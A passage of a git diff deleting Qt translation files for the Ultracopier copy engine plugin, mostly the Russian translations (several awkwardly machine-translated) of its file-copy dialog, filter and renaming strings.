- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="218"/>
- <location filename="../../scanFileOrFolder.cpp" line="282"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="228"/>
- <location filename="../../scanFileOrFolder.cpp" line="292"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="326"/>
- <source>The folder not exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="328"/>
- <source>The folder is not readable</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-</TS>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/Languages/ru/translation.ts b/plugins/CopyEngine/Ultracopier-0.3/Languages/ru/translation.ts
deleted file mode 100644
index 90f4c0f..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/Languages/ru/translation.ts
+++ /dev/null
@@ -1,795 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0" language="ru" sourcelanguage="en">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation>Не поддерживается на этой платформе</translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation>Дата обновления неправильно</translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation>Дата последнего доступа не так</translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options error</source>
- <translation>Опции ошибке</translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation>Параметры двигателя не загружается, не может получить доступ к фильтрам</translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation>Поиск по сайту:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation>Тип поиска:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation>Сырой текст</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation>упрощенный regex</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation>Perl&apos;s regex</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation>Нанесите на:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation>файл</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation>папка</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation>Файлов и папок</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation>Все строки нужно соответствовать</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation>контроль</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation>Испытание строки:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation>Фильтры диалогового</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation>Регулярное действует</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation>Матч тестовую строку с регулярным выражением</translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation>Фильтры</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation>Исключение фильтра</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation>Включение фильтра</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation>Ни = Включить все</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation>Сырой текст</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation>Упрощенная регулярных выражений</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation>Perl&apos;s regex</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation>Только на файл</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation>Только на папку</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation>Полный матч</translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1162"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation>Невозможно сделать, чтобы скопировать или переместить элемент в неправильном форсированном режиме: %1</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1169"/>
- <source>Unable to save the transfer list: %1</source>
- <translation>Невозможно сохранить трансфер: %1</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1185"/>
- <source>Problem at the reading, or file size is null</source>
- <translation>Проблема при чтении или размер файла нулевой</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation>Неправильный заголовок: &quot;%1&quot;</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1201"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation>Трансфер в смешанном режиме, но этот экземпляр не в этом режиме</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1210"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation>Передача списка в режиме копирования, но этот экземпляр не в этом режиме</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1216"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation>Трансфер в режим перемещения, но этот экземпляр не в этом режиме</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1263"/>
- <source>Some error have been found during the line parsing</source>
- <translation>Некоторые ошибки были обнаружены в ходе разбора линия</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1269"/>
- <source>Unable to open the transfer list: %1</source>
- <translation>Не удается открыть трансфер: %1</translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation>Невозможно создать папку</translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation>Невозможно прочитать исходный файл: </translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation>Файл усечены во время чтения, возможность изменения данных</translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation>Первое переименование</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation>%name% - копия</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Переменные: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; по оригинальному названию файла&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation>Второе переименование</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation>%name% - копия (%number%)</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Переменные: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; по оригинальному названию файла&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; за дополнительный номер&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation>%1 - копия</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - копия (%2)</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation>Переименование правила</translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="59"/>
- <source>Unable to remove the folder</source>
- <translation>Не удается удалить папку</translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="311"/>
- <source>%1 - copy</source>
- <translation>%1 - копия</translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="321"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - копия (%2)</translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="626"/>
- <source>The checksums not match</source>
- <translation>Контрольные суммы не совпадают</translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation>Невозможно прочитать исходный файл: </translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation>Файл усечены во время чтения, возможность изменения данных</translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="257"/>
- <location filename="../../copyEngine.cpp" line="275"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation>Двигатель вынуждены покинуть свои дома, вы не можете скопировать с ним</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="286"/>
- <location filename="../../copyEngine.cpp" line="304"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation>Двигатель вынужден копии, вы не можете двигаться вместе с ним</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="511"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation>Режим был вынужден ранее, это внутренняя ошибка, пожалуйста, сообщите об этом</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options error</source>
- <translation>Опции ошибке</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation>Параметры двигателя не загружается, не может получить доступ к фильтрам</translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation>Ошибка в файле</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation>ошибка</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation>размер</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation>модифицированный</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation>имя файла</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation>Всегда делайте это действие</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation>Положить в нижней</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation>Повторить</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation>пропускать</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation>отменить</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation>Ошибка в папку</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation>имя папки</translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation>Файл существует</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation>источник</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation>назначение</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation>размер</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation>модифицированный</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation>имя файла</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation>Предложить новое имя</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation>Всегда делайте это действие</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation>переименовать</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation>переписывать</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation>пропускать</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation>отменить</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation>Заменить, если новее</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation>Заменить, если не ту же дату модификации</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation>%1 - копия</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - копия (%2)</translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation>Эти файлы имеют тот же файл</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation>Источник и назначение такое же,</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation>размер</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation>модифицированный</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation>имя файла</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation>Предложить новое имя</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation>Всегда делайте это действие</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation>переименовать</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation>пропускать</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation>отменить</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation>%1 - копия</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - копия (%2)</translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation>Это папки той же папке,</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation>источник</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation>назначение</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation>Источник и назначение такое же,</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation>модифицированный</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation>имя папки</translation>
- </message>
- <message>
